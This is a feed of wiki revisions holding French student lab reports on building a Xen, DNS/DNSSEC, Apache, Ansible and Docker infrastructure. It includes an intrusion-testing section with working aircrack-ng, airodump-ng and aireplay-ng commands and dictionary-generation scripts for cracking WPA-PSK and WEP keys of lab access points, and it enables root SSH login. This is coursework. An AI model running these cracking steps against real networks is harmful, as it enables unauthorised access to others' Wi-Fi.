Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51807</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51807"/>
				<updated>2019-12-16T13:51:52Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: Try to stop container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        state: stopped&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
    - name: Delete container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        state: absent&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
 &lt;br /&gt;
    - name: Delete the image&lt;br /&gt;
      docker_image:&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        tag: latest&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: absent&lt;br /&gt;
        force: yes&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-from-ansible&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
&lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
